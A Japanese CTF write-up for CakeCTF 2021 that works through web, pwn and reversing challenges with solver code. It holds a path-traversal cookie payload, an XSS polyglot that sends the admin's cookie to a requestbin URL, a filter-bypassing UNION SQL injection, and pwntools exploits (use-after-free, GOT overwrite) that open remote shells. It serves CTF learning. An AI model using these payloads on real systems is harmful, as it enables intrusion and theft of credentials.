CakeCTF 2021 Writeup
CakeCTF 2021に参加して、20/157位でした。解けた問題について解説していきます。
Web
MofuMofu Diary [80 solves]
猫の画像が見れるサイトのソースコードと/flag.txt
にフラグがあるという情報が渡されます。重要な箇所はここです。
function get_cached_contents() { $results = []; if (empty($_COOKIE['cache'])) { $images = glob('images/*.jpg'); $expiry = time() + 60*60*24*7; foreach($images as $image) { $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image); $description = trim(file_get_contents($text)); array_push($results, array( 'name' => $image, 'description' => $description )); $_SESSION[$image] = img2b64($image); } $cookie = array('data' => $results, 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry); } else { $cache = json_decode($_COOKIE['cache'], true); if ($cache['expiry'] <= time()) { $expiry = time() + 60*60*24*7; for($i = 0; $i < count($cache['data']); $i++) { $result = $cache['data'][$i]; $_SESSION[$result['name']] = img2b64($result['name']); } $cookie = array('data' => $cache['data'], 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry); } return $cache['data']; } return $results; }
cache
というクッキーに画像のファイル名と説明を保存し、以降はその情報を参照するようになっています。実際に見てみるとこんな感じです。
{ "data": [ { "name": "images/01.jpg", "description": "Half sleeping cat" }, { "name": "images/02.jpg", "description": "When you gaze into the cat, the cat gazes into you" }, ... ], "expiry": 1630845413 }
ファイル名に対して特にチェックを行っていないため、name
を操作することでLocal File Inclusionができます。
$cache['expiry'] <= time()
を満たさないと情報の更新がされないため、expiry
も0にしておきましょう。
{ "data": [ { "name": "../../../../../../../flag.txt", "description": "FLAG is here!" } ], "expiry": 0 }
このようなJSONを用意してURL Encodeしてからcache
にセットすると、フラグがbase64で降りてきます。
❯ echo Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg== | base64 -d CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}
travelog [22 solves]
ブログサービスで、フラグは管理者(クローラー)のUserAgentです。いつものXSS問の形式ですね。
@app.context_processor def csp_nonce_init(): g.csp_nonce = base64.b64encode(os.urandom(16)).decode() return dict(csp_nonce=g.csp_nonce) @app.after_request def csp_rule_apply(response): if 'csp_nonce' in g: policy = '' policy += "default-src 'none';" policy += f"script-src 'nonce-{g.csp_nonce}' 'unsafe-inline';" policy += f"style-src 'nonce-{g.csp_nonce}' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;" policy += "frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"; policy += "img-src 'self';" policy += "connect-src http: https:;" policy += "base-uri 'self'" response.headers["Content-Security-Policy"] = policy return response
このようなCSPが設定されています。スクリプトの発火にはnonceが必要で、base
要素は同サイトなら許可されています。
また、JPEGをアップロードできる機能があります。jpegであるかはimghdr.what
で検証され、/uploads/<user_id>/<name>
に保存されます。
この時ブログに{{ filename }}
という文字列を置くと自動的に/uploads/<user_id>/filename
に補完してくれます。
XSS自体はshow.html
で単純にStored XSSができます。htmlはこのような形です。
... <div class="uk-container"> {{ post['contents'] | safe }} </div> <hr> <div class="uk-grid-row" uk-grid> <div> <a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a> </div> <div class="uk-width-1-2@s"> <input class="uk-input" type="text" value="{{ url }}" id="url" readonly> </div> <form action="/report" method="POST" id="report"> <input type="text" value="/post/{{ post['user_id'] }}/{{ post['post_id'] }}" name="url" hidden readonly> <button type="submit" class="uk-icon-button g-recaptcha" uk-icon="warning" uk-tooltip="Report sensitive content" data-sitekey="6LfFpMYaAAAAAAsjqi5QQvO7GPYU6zbdPR4BtgGj" data-callback="onSubmit" data-action="submit"> </button> </form> </div> <script nonce="{{ csp_nonce }}" src="../../show_utils.js"></script>
下にnonceで許可されたshow_utils.js
がありますね。
さて、スクリプトを発火させるにはnonceをどうにかして奪うか、既にあるスクリプトを利用する必要があります。
試した方針
Dangling Markup Injection
nonceを奪う攻撃はこれしか知りませんでしたが、XSSできる場所の直下にscript要素がないと難しいです。
DOM based XSS
show_utils.js
はこのようなプログラムです。
let share = document.getElementById('share'); share.onclick = () => { let url = document.querySelector('#url'); url.select(); document.execCommand('copy'); UIkit.notification({ message: 'URL is copied to clipboard!', status: 'success' }); }; function onSubmit() { document.getElementById("report").submit(); }
先にid="share"
な要素を置いておけばdocument.getElementById('share')
で参照される要素を操作できたりはしますが、発火にUser Interactionが必要なので無理そうです。(これとrecaptchaと合わせて解いた人もいるらしい?)
CSPヘッダ破壊・nonce推測など
無理
「script-src: 'self'
ならJPEGとjsのpolyglotを作ってそれを参照させればいいんだけどnonceあるし無理だよな、どうやって奪えばいいんだ......」と終盤まで悩んでいましたが、base
要素はURLのrootを操作するものだと勘違いしていることに気付いたら簡単でした。
show_utils.js
は<script nonce="{{ csp_nonce }}" src="../../show_utils.js">
という形で参照されています。
このとき<base href="/uploads/<user_id>/hoge/fuga/">
と指定すれば、/uploads/<user_id>/show_utils.js
を参照してくれます。これはshow_utils.js
をアップロードすることで操作可能なので、これでnonceのついた任意のスクリプトを発火させることができるようになりました。
ただし、アップロードする時にJPEGと判定されないと弾かれてしまいます。どのように判定しているか、imghdrの実装を見てみましょう。
def test_jpeg(h, f): """JPEG data with JFIF or Exif markers; and raw JPEG""" if h[6:10] in (b'JFIF', b'Exif'): return 'jpeg' elif h[:4] == b'\xff\xd8\xff\xdb': return 'jpeg'
ガバガバで助かりました。7文字目から11文字目がJFIF
であればJPEGと判定されます。つまり、このようなスクリプトを作ればよいです。
//3456JFIF location.href="https://requestbin.net/r/****"
このJSをshow_utils.js
としてアップロードします。サイト上からアップロードできなかったのでrequestsでAPIを直叩きします。
requests.post("http://web.cakectf.com:8011/upload", headers={"Cookie": f"session={session}"}, files={"images[]": open("./show_utils.js", "rb")})
次にこのような投稿をします。
<base href="{{ /hoge/fuga/ }}">
この投稿のURLを管理者に報告すればフラグが手に入ります。
CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}
travelog again [20 solves]
againが公開された瞬間、diffを取ることで非想定解を導き出すやつをやろうと思ったけど前の問題のパスワードが必要で号泣していました。(凄い良いアイデアだと思います)
変わったのはクローラー。User-Agentにフラグが入っていたのが、Cookieになりました。
await page.setCookie({ "domain":"challenge:8080", "name":"flag", "value":flag, "sameSite":"Strict", "httpOnly":false, "secure":false });
sameSite=Strict
で一瞬身構えましたがhttpOnly=false
なのでdocument.cookie
で参照できるので大丈夫です。
//3456JFIF location.href="https://requestbin.net/r/****" + document.cookie
これでフラグが手に入ります。
CakeCTF{I'll_n3v3r_trust_HTML:angry:}
My Nyamber [13 solves]
DBに保存されてある猫を名前とidで検索できるサービスです。フラグはDBのflag
テーブルにあります。
/** * Find neko by name */ async function queryNekoByName(neko_name, callback) { let filter = /(\'|\\|\s)/g; let result = []; if (typeof neko_name === 'string') { /* Process single query */ if (filter.exec(neko_name) === null) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE name='${neko_name}'` ); if (row) result.push(row); } catch { } } } else { /* Process multiple queries */ for (let name of neko_name) { if (filter.exec(name.toString()) === null) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE name='${name}'` ); if (row) result.push(row); } catch { } } } } callback(result); } /** * Find neko by My Nyamber */ async function queryNekoById(neko_id, callback) { let nid = parseInt(neko_id); if (!isNaN(nid)) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE nid=${nid}` ); if (row) { callback([row]); return; } } catch { } } /* Invalid ID or result not found */ callback([]); }
queryNekoByName()
でSQL Injectionができそうな部分がありますが、/(\'|\\|\s)/g
というフィルターを抜けなければなりません。
queryNekoById()
もありますが、こちらはparseInt
で整数にさせられるので文字列を埋め込むのは厳しそうです。
試した方針
Process multiple queries
の処理でfilter.exec(name.toString()) === null
を抜けつつ${name}
をname.toString()
とは異なる文字列になるようなname
を作る。そもそも配列になるようなクエリをどうやって作るのという話ですが、調べると
?name=1&name=2
で[1,2]
というようなクエリが作れることがわかります。さらに調べると、
?name[0][a]=1
で[{ a: '1'}]
というクエリを作れました。JSにおいてObjectのキーはプロパティとほぼ同義なので、キーを操作できるということはプロパティも操作できるということです。しかし、
?name[0][toString]=1
で500エラーを起こせたりはできましたが特に攻撃に繋げることはできませんでした。(クエリでのprototype pollutionも考えましたが、できちゃったら0dayなので無い)
「うお~~~~~~~~~~解けね~~~~~~~~~~~~~~~」って感じでログを出しつつひたすら手を動かしていたときでした。
?name[]='&name[]='
「こんなんで解けるわけないだろ!いい加減にしろ!」
{ name: [ "'", "'" ] } ' : filter.exec() => [ "'", "'", index: 0, input: "'", groups: undefined ] ' : filter.exec() => null
「!!!?!?!?!?!?!!?!?!?!?!!?!!?!」
何故か二回目のfilter.exec()
が通っています。RegExp.exec()についてよく調べると、ちゃんと記述がありました。
検索に成功した場合、
exec()
メソッドは配列を返し (追加のプロパティindex
とinput
が付いており、d
フラグが設定されている場合はindices
も、以下参照)、正規表現オブジェクトのlastIndex
プロパティを更新します。返された配列は、一致したテキストを最初の項目として持ち、その後、一致したテキストの括弧によるキャプチャグループに対して 1 つずつの項目を持ちます。
lastIndex
とは何でしょうか?
lastIndex
はRegExp
インスタンスの読み書き可能なプロパティで、次の一致を開始する位置を指定します。このプロパティは、正規表現インスタンスがグローバル検索を示すために
g
フラグを使用した場合、または粘着的検索を示すためにy
フラグを使用した場合にのみ設定されます。 ...... exec() または test() が一致するものを見つけた場合 lastIndex は入力の中の一致する文字列の末尾の位置に設定されます。
つまりこういうことです。
filter = /'/g // => /'/g filter.exec("01234'") // => ["'", index: 5, input: "01234'", groups: undefined] filter.lastIndex // => 6 filter.exec("'''''6 <= 6文字目から検索が始まる") // => null 1~5文字目については見ない
この仕様を使うことでフィルタをバイパスし、SQL Injectionすることができます。
query = f"name[]={'A'*100}'&name[]=' UNION SELECT 1,flag,'a',1 FROM flag; -- "
というようなクエリを送ればフラグが手に入ります。
CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}
脆弱性に気付いたのが15分前くらい、解けたのが終了6分前でした。焦った......
pwn
UAB4b [75 solves]
nc先だけ渡されます。
Today, let's learn how dangerous Use-after-Free is! You're going to abuse the following structure: typedef struct { void (*fn_dialogue)(char*); char *message; } COWSAY; An instance of this structure is allocated on the heap: COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY)); You can 1. Call `fn_dialogue` with `message` as its argument: cowsay->fn_dialog(cowsay->message); 2. Allocate and set `message` (This will never be freed): cowsay->mesage = malloc(17); scanf("%16s", cowsay->message); 3. Delete cowsay only once: free(cowsay); 4. See the heap around the cowsay instance Last but not least, here is the address of `system` function: <system> = 0x7fc286ffd410 1. Use cowsay 2. Change message 3. Delete cowsay (only once!) 4. Describe heap >
fn_dialog
を呼び出す- 新しくmallocして
cowsay->message
を編集する cowsay
をfreeする- heapを見る
以上の4つの操作ができます。
- freeする
- mallocするとfreeされた
cowsay
とちょうど同じ領域が帰ってくるので、cowsay->fn_dialog
をsystem
に上書きする - この状態は平常通りmessageが編集できるので、messageに
"/bin/sh"
を置いておく cowsay->fn_dialog(cowsay->message)
でsystem("/bin/sh")
このようにするとシェルが取れます。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io nc = "nc pwn.cakectf.com 9001" def cowsay(io): io.recvuntil("4. Describe heap") io.sendlineafter("> ", str(1)) def change_message(io, m): io.recvuntil("4. Describe heap") io.sendlineafter("> ", str(2)) io.sendlineafter(": ", m) def delete(io): io.recvuntil("4. Describe heap") io.sendlineafter("> ", str(3)) def heapinfo(io): io.recvuntil("4. Describe heap") io.sendlineafter("> ", str(4)) info = io.recvuntil("1. ")[:-3] print(info.decode()) io = get_io() io.recvuntil("<system> = 0x") system = int(io.recvline(), 16) log.info(f"system: {system:x}") log.info("free cowsay") delete(io) heapinfo(io) log.info("write function pointer") change_message(io, p64(system)) heapinfo(io) log.info("prepare /bin/sh") change_message(io, "/bin/sh") heapinfo(io) log.info('call system("/bin/sh")') cowsay(io) io.interactive()
❯ py solve.py remote [+] Opening connection to pwn.cakectf.com on port 9001: Done [*] system: 7f9343de0410 [*] free cowsay [ address ] [ heap data ] +------------------+ 0x556fb4197290 | 0000000000000000 | +------------------+ 0x556fb4197298 | 0000000000000021 | +------------------+ cowsay (freed) 0x556fb41972a0 | 0000000000000000 | <-- fn_dialogue (= invalid function pointer) +------------------+ 0x556fb41972a8 | 0000556fb4197010 | <-- message (= '') +------------------+ 0x556fb41972b0 | 0000000000000000 | +------------------+ 0x556fb41972b8 | 0000000000020d51 | +------------------+ 0x556fb41972c0 | 0000000000000000 | +------------------+ 0x556fb41972c8 | 0000000000000000 | +------------------+ [*] write function pointer [ address ] [ heap data ] +------------------+ 0x556fb4197290 | 0000000000000000 | +------------------+ 0x556fb4197298 | 0000000000000021 | +------------------+ cowsay (freed) 0x556fb41972a0 | 00007f9343de0410 | <-- fn_dialogue (= system) +------------------+ 0x556fb41972a8 | 0000556fb4197200 | <-- message (= '') +------------------+ 0x556fb41972b0 | 0000000000000000 | +------------------+ 0x556fb41972b8 | 0000000000020d51 | +------------------+ 0x556fb41972c0 | 0000000000000000 | +------------------+ 0x556fb41972c8 | 0000000000000000 | +------------------+ [*] prepare /bin/sh [ address ] [ heap data ] +------------------+ 0x556fb4197290 | 0000000000000000 | +------------------+ 0x556fb4197298 | 0000000000000021 | +------------------+ cowsay (freed) 0x556fb41972a0 | 00007f9343de0410 | <-- fn_dialogue (= system) +------------------+ 0x556fb41972a8 | 0000556fb41972c0 | <-- message (= '/bin/sh') +------------------+ 0x556fb41972b0 | 0000000000000000 | +------------------+ 0x556fb41972b8 | 0000000000000021 | +------------------+ cowsay->message 0x556fb41972c0 | 0068732f6e69622f | +------------------+ 0x556fb41972c8 | 0000000000000000 | +------------------+ [*] call system("/bin/sh") [*] Switching to interactive mode [+] You're trying to call 0x00007f9343de0410 $ ls chall flag-7a6f369885822f1effdbad51554c0467.txt $ cat flag-7a6f369885822f1effdbad51554c0467.txt CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e} $
3rd bloodでした。exploitを丁寧に書きましたが実際はそんなにログ出してません。
GOT it [32 solves]
問題文: Does "Full RELRO" mean it's really secure against GOT overwrite?
ソースコードが配布されているのに今気付きました(なんで??????)
#include <stdio.h> #include <unistd.h> void main() { char arg[10] = {0}; unsigned long address = 0, value = 0; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("<main> = %p\n", main); printf("<printf> = %p\n", printf); printf("address: "); scanf("%p", (void**)&address); printf("value: "); scanf("%p", (void**)&value); printf("data: "); scanf("%9s", (char*)&arg); *(unsigned long*)address = value; puts(arg); _exit(0); }
バイナリとlibcのアドレスが渡された上で任意アドレスを8byte書き替えられて、その後に任意の文字列をputs
できます。
問題文に書いてある通りFull RELROなのでGOT Overwriteは不可能に思えますが、実はlibcはPartical RELROです。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
そのためputs(arg);
のあとにlibcでGOTを利用していればそこでRIPを取ることができます。gdbから探してみましょう。
pwndbg> disass puts Dump of assembler code for function __GI__IO_puts: Address range 0x7ffff7e4b5a0 to 0x7ffff7e4b77c: 0x00007ffff7e4b5a0 <+0>: endbr64 0x00007ffff7e4b5a4 <+4>: push r14 0x00007ffff7e4b5a6 <+6>: push r13 0x00007ffff7e4b5a8 <+8>: push r12 0x00007ffff7e4b5aa <+10>: mov r12,rdi 0x00007ffff7e4b5ad <+13>: push rbp 0x00007ffff7e4b5ae <+14>: push rbx 0x00007ffff7e4b5af <+15>: call 0x7ffff7de9460 <*ABS*+0xa27b0@plt>
初っ端から怪しいのを見つけました。b *puts+15
で止まって調べてみます。
0x7ffff7de9460 <*ABS*+0xa27b0@plt> endbr64 ► 0x7ffff7de9464 <*ABS*+0xa27b0@plt+4> bnd jmp qword ptr [rip + 0x1c5c3d] <__strlen_avx2>
rip + 0x1c5c3d
はGOTの領域です。ちょうどrdiも操作可能なのでここをsystemに書き替えればシェルが取れます。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./chall_patched" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc-2.31.so" nc = "nc pwn.cakectf.com 9003" command = ''' b *main+302 c ''' chall = ELF(file) libc = ELF(libc) io = get_io() io.recvuntil("<main> = 0x") main = int(io.recvline(), 16) chall.address = main - chall.sym["main"] log.info(f"bin: {chall.address:x}") io.recvuntil("<printf> = 0x") printf = int(io.recvline(), 16) libc.address = printf - libc.sym["printf"] log.info(f"libc: {libc.address:x}") address = libc.address + 2011304 value = libc.sym["system"] data = "/bin/sh" io.sendlineafter("address: ", hex(address)[2:]) io.sendlineafter("value: ", hex(value)[2:]) io.sendlineafter("data: ", data) io.interactive()
[+] Opening connection to pwn.cakectf.com on port 9003: Done [*] bin: 560d86499000 [*] libc: 7f07503bd000 [*] Switching to interactive mode $ ls chall flag-94a6afdf8e59954b19196caca9ab2e35.txt $ cat flag-94a6afdf8e59954b19196caca9ab2e35.txt CakeCTF{*ABS*+0x190717@IGOTIT}
3rd bloodでした。解法は一瞬で分かったのに手間取ってしまい残念。
reversing
nostrings [62 solves]
Ghidraで解析するとこんな感じです。
/* WARNING: Could not reconcile some variable overlaps */ undefined8 main(void) { undefined8 uVar1; long in_FS_OFFSET; bool flag; int i; char buf [72]; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); printf("flag: "); __isoc99_scanf("%58s",buf); _flag = 1; i = 0; do { if (0x39 < i) { if (_flag == 0) { puts("-_- < flag in the string..."); } else { puts(".O. < i+! +o6 noh"); puts(">v< this is the flag"); } uVar1 = 0; LAB_001012ae: if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar1; } if (buf[i] == '\x7f') { puts("^o^"); uVar1 = 1; goto LAB_001012ae; } _flag = (uint)((uint)(byte)s__00104020[(long)(int)buf[i] * 0x7f + (long)i] == (int)buf[i]) * _flag; i = i + 1; } while( true ); }
s__00104020
は0x20(空白)と0x00からなるテーブルです。雑に取り出して条件に合うフラグを探すと見つかります。
import struct buf = struct.pack("32442B", *[ 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, ... 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, 0x20,0x20,0x20]) flag = "" for i in range(0x40): for c in range(0x20, 0x7f): if buf[c*0x7f+i] == c: flag += chr(c) break print(flag)
❯ py solve.py C Ca Cak Cake CakeC CakeCT CakeCTF CakeCTF{ CakeCTF{t CakeCTF{th CakeCTF{th3 CakeCTF{th3_ CakeCTF{th3_b CakeCTF{th3_b3 ... CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}
フラグが徐々に確定されていくのを見るのは...楽しい!
Hash browns [40 solves]
Ghidraで解析するとこんな感じです。
undefined8 main(int argc,char **argv) { int result; size_t flag_len; long i; undefined8 *tmp_ptr; long in_FS_OFFSET; int hoge; undefined4 local_3b8; int j; int k; int flag_len>>1; undefined8 hashes; undefined8 hashes2; char local_62; undefined local_61; char local_60; undefined local_5f; char md5hex [11]; char sha256hex [11]; byte md5sum [16]; byte sha256sum [40]; long canary; char (*hashes_ptr) [11]; canary = *(long *)(in_FS_OFFSET + 0x28); hashes_ptr = md5hashes; tmp_ptr = &hashes; for (i = 0x32; i != 0; i = i + -1) { *tmp_ptr = *(undefined8 *)*hashes_ptr; hashes_ptr = (char (*) [11])(*hashes_ptr + 8); tmp_ptr = tmp_ptr + 1; } *(undefined4 *)tmp_ptr = *(undefined4 *)*hashes_ptr; *(undefined2 *)((long)tmp_ptr + 4) = *(undefined2 *)(*hashes_ptr + 4); *(char *)((long)tmp_ptr + 6) = (*hashes_ptr)[6]; hashes_ptr = sha256hashes; tmp_ptr = &hashes2; for (i = 0x32; i != 0; i = i + -1) { *tmp_ptr = *(undefined8 *)*hashes_ptr; hashes_ptr = (char (*) [11])(*hashes_ptr + 8); tmp_ptr = tmp_ptr + 1; } *(undefined4 *)tmp_ptr = *(undefined4 *)*hashes_ptr; *(undefined2 *)((long)tmp_ptr + 4) = *(undefined2 *)(*hashes_ptr + 4); *(char *)((long)tmp_ptr + 6) = (*hashes_ptr)[6]; if (argc < 2) { printf("Usage: %s <flag>\n",*argv); } else { flag_len = strlen(argv[1]); flag_len>>1 = (int)(flag_len >> 1); if (flag_len>>1 == 0x25) { for (j = 0; j < flag_len>>1; j = j + 1) { f(j,flag_len>>1,&hoge,&local_3b8); if (hoge < 0) { hoge = flag_len>>1 + hoge; } local_62 = argv[1][j * 2]; local_61 = 0; local_60 = argv[1][(long)(j * 2) + 1]; local_5f = 0; md5(&local_62,md5sum); sha256(&local_60,sha256sum); for (k = 0; k < 5; k = k + 1) { sprintf(md5hex + k * 2,"%02x",(ulong)md5sum[k]); sprintf(sha256hex + k * 2,"%02x",(ulong)sha256sum[k]); } result = strcmp((char *)((long)&hashes + (long)j * 0xb),md5hex); if (result != 0) { puts("Too spicy :("); goto LAB_00101768; } result = strcmp((char *)((long)&hashes2 + (long)hoge * 0xb),sha256hex); if (result != 0) { puts("Too spicy :("); goto LAB_00101768; } } puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients."); } else { puts("Too sweet :("); } } LAB_00101768: if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } int f(int a,int b,undefined4 *c,undefined4 *d) { int result; if (b == 0) { *c = 1; *d = 0; result = a; } else { result = f(b,a % b,d,c); *d = *d - *c * (a / b); } return result; }
md5hashes
, sha256hashes
というのがバイナリ中のテーブルです。入力文字列の奇数番目をmd5、偶数番目をsha256で検証しています。
どのハッシュで検証するのかというのはmd5は素直にj番目ですが、sha256はfという関数を使って決めています。
Pythonでf関数を再現し、一文字ずつハッシュを特定していけばフラグが得られます。参照を使っていてPythonでの再現が面倒臭いですが、アドレスを配列へのインデックスだと思うと楽に実装できました。
from hashlib import sha256, md5 from numpy import int32 md5hashes = [ '0d61f8370c', '8ce4b16b22', ... 'a87ff679a2', ] sha256hashes = [ 'ca978112ca', '3f79bb7b43', ... 'd10b36aa74', ] """ int f(int a,int b,int *c,int *d) { int result; if (b == 0) { *c = 1; *d = 0; result = a; } else { result = f(b,a % b,d,c); *d = *d - *c * (a / b); } return result; } """ cd = [int32(0), int32(0)] def f(a, b, c_idx, d_idx): global cd if b == 0: cd[c_idx] = 1 cd[d_idx] = 0 return a else: result = f(b, a % b, d_idx, c_idx) cd[d_idx] = cd[d_idx] - cd[c_idx] * (a // b) return result flag = "" for i in range(0x25 << 1): if i % 2 == 0: for char in range(0x20, 0x7f): c_hash = md5(bytes([char])).hexdigest()[:10] if c_hash == md5hashes[i//2]: flag += chr(char) break else: f(i >> 1, 0x25, 0, 1) # print(cd) if cd[0] < 0: cd[0] += 0x25 # print(cd) for char in range(0x20, 0x7f): c_hash = sha256(bytes([char])).hexdigest()[:10] if c_hash == sha256hashes[cd[0]]: flag += chr(char) break print(flag)
❯ py solve.py C Ca Cak Cake CakeC CakeCT CakeCTF CakeCTF{ CakeCTF{( CakeCTF{(^ CakeCTF{(^o ... CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}
rflag [20 solves]
バイナリとnc先が渡されます。
❯ ./rflag You have 4 rounds to guess the 32-byte hex string! Give me your guess and I'll tell you the positions of all the matches. Round 1/4: 0 Response: [25] Round 2/4: 1 Response: [] Round 3/4: 2 Response: [16, 31] Round 4/4: 3 Response: [4, 17] Okay, what's the answer? hoge Wrong...
何言ってるかよくわかりません。Ghidraで見てみますが、Rustバイナリで少し見づらいですね。rflag::main
関数を見てみます。
if (*(long **)((long)local_80 + 0x18) == (long *)0x1e61b0) { bVar2 = true; } else { bVar2 = **(long **)((long)local_80 + 0x18) == 0x65646f6d656b6163; } } ... rflag(bVar2);
rflagという関数に関係しそうな怪しい値があります。ASCIIにするとcakemode
になります。
試しにcakemode
を引数にしてプログラムを動かしてみましょう。
❯ ./rflag cakemode You have 4 rounds to guess the 32-byte hex string! Give me your guess and I'll tell you the positions of all the matches. [DEBUG] Piece of Cake Mode is enabled (Not on remote :P) [DEBUG] 972aa1fb6b8f950ea9943ef438a2749f Round 1/4: 9 Response: [0, 12, 17, 18, 30] Round 2/4: 7 Response: [1, 28] Round 3/4: a Response: [3, 4, 16, 26] Round 4/4: 1 Response: [5] Okay, what's the answer? 972aa1fb6b8f950ea9943ef438a2749f Correct! FLAG: FakeCTF{***** REDUCTED *****}
デバッグモードになりました。推測するに、ランダムな16byte 32文字の数値が生成されて、文字の場所を調べること(上の例だと9という文字が[0, 12, 17, 18, 30]
に現れる)を4回できて、最後に生成された数値を当てればフラグが貰えるようです。
この検索処理はguessy
という関数にあるようなので、見てみます。
...
regex::re_unicode::Regex::find_iter(&local_a8,&local_c8,*answer,answer[2]);
...
regex...ということは正規表現で検索しているのでしょうか。試してみます。
Round 1/4: . Response: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31]
ビンゴです。これを使えば2分探索でフラグを求められます。
from pwn import * """ 0123456789abcdef 1: [0-7] 01234567 89abcdef 2: [0-38-b] 0123 4567 89ab cdef 3: [014589cd] 01 23 45 67 89 ab cd ef 4: [02468ace] 0 1 2 3 4 5 6 7 8 9 a b c d e f => 全て識別できた! """ io = remote("misc.cakectf.com", 10023) # io = process("./rflag") answer_case = [set('0123456789abcdef') for _ in range(32)] queries = [ { "query": "[0-7]", "restrict": set('01234567') }, { "query": "[0-38-b]", "restrict": set('012389ab') }, { "query": "[014589cd]", "restrict": set('014589cd') }, { "query": "[02468ace]", "restrict": set('02468ace') } ] for query in queries: io.sendlineafter("/4: ", query["query"]) io.recvuntil("Response: ") result = eval(io.recvline()) for i in range(32): if i in result: answer_case[i] &= query["restrict"] else: answer_case[i] -= query["restrict"] print(answer_case) answer = "".join([list(case)[0] for case in answer_case]) io.sendlineafter("Okay, what's the answer?\n", answer) io.interactive()
❯ py solve.py [+] Opening connection to misc.cakectf.com on port 10023: Done [{'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'4', '2', '5', '1', '3', '6', '7', '0'}, {'e', 'f', 'c', '8', 'a', 'b', '9', 'd'}] [{'4', '5', '6', '7'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'e', 'f', 'c', 'd'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'e', 'f', 'c', 'd'}, {'e', 'f', 'c', 'd'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'a', '9', '8', 'b'}, {'a', '9', '8', 'b'}, {'e', 'f', 'c', 'd'}, {'3', '2', '0', '1'}, {'3', '2', '0', '1'}, {'3', '2', '0', '1'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'a', '9', '8', 'b'}, {'3', '2', '0', '1'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'4', '5', '6', '7'}, {'3', '2', 